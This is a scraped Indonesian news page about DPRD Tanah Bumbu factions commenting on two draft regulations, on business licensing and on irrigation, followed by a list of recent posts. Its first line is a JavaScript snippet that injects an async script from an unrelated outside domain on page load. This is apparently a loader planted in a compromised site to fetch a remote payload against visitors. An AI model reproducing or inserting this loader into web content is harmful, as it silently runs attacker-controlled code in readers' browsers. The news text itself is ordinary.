(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Ini Pandangan Umum Fraksi DPRD Tanbu Terhadap Dua Raperda


KANALKALIMANTAN.COM, BATULICIN – Fraksi-fraksi Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Tanah Bumbu (Tanbu) menyampaikan pandangan umum terhadap dua buah Raperda, Senin (7/3/2022).

Penyampaian pemandangan umum dimulai Fraksi PDI Perjuangan, Fraksi Gerinda dan Fraksi Golk, serta Fraksi Kebangkitan Bangsa dan Fraksi Amanat Perjuangan Demokrat, di ruang rapat paripurna Glgedung DPRD Tanbu.

Rapat paripurna DPRD dalam rangka pandangan umum terhadap Dua Buah Raperda Tanah Bumbu sebelumnya disampaikan oleh Bupati Tanah Bumbu diwakili Sekretaris H Ambo Sakka.

“Rapat Paripurna ini Pemandangan Umum Fraksi, melanjutkan rapat penyampaian dua buah Raperda tentang penyelenggaraan perizinan berusaha dan penyelenggaraan irigasi ini dipimpin,” ucap Wakil Ketua I DPRD Kabupaten Tanah Bumbu, Said Ismail Kholil Alaydrus.

 

Baca juga  : Kunjungi Istana Anak Yatim, Bupati Zairullah: 11 Maret Ada Acara Anak-anak Yatim se Indonesia

Dalam rapat paripurna Pemkab Tanbu diwakili oleh Asisten III Bidang Administrasi Umum.

Seluruh fraksi-fraksi yang berhadir dalam rapat ini dapat menerima dua buah Raperda dengan catatan dan usul serta saran-saran yang mengacu yang tidak bertentangan pada peraturan yang ada diatasnya untuk di bahas ketingkat pembicaraan lebih lanjut.

Fraksi Demokrat Indonesia Perjuangan menyampaikan beberapa hal yakni berkaitan dengan tentang raperda perizinan berusaha, ia menanyakan apakah tidak ada Perda yang sudah ada yang terkait dengan Raperda tersebut, kemudian apakah kriteria unsur penilaian untuk menetapkan suatu kegiatan usaha itu, sehingga bisa di tetapkan klasifikasi usaha rendah, menengah dan tinggi. Karena dalam pasal 5 disebutkan klasifikasi tetapi tidak terdapat indikator dan kriterianya. Sedangkan pada pasal 7 sampai 9 untuk pemberian nomor induk dijelaskan bahwa ada verifikasi pemberian nomor induk berusaha dan izin sesuai dengan klasifikasi resiko.

Sementara terkait Raperda penyelenggaraan irigasi, namun isinya terlalu banyak mengatur tentang pengelolaan dan kelembagaan yang akan mengatur tentang irigasi, maka apakah tidak sebaiknya judul Raperda tersebut diubah pada saat pembahasan nanti disesuaikan dengan isi pasal per pasal nya yang cenderung berisikan tentang pengelolaan dan kelembagaan. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

13 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

14 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

16 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

20 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

20 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

23 jam ago

This website uses cookies.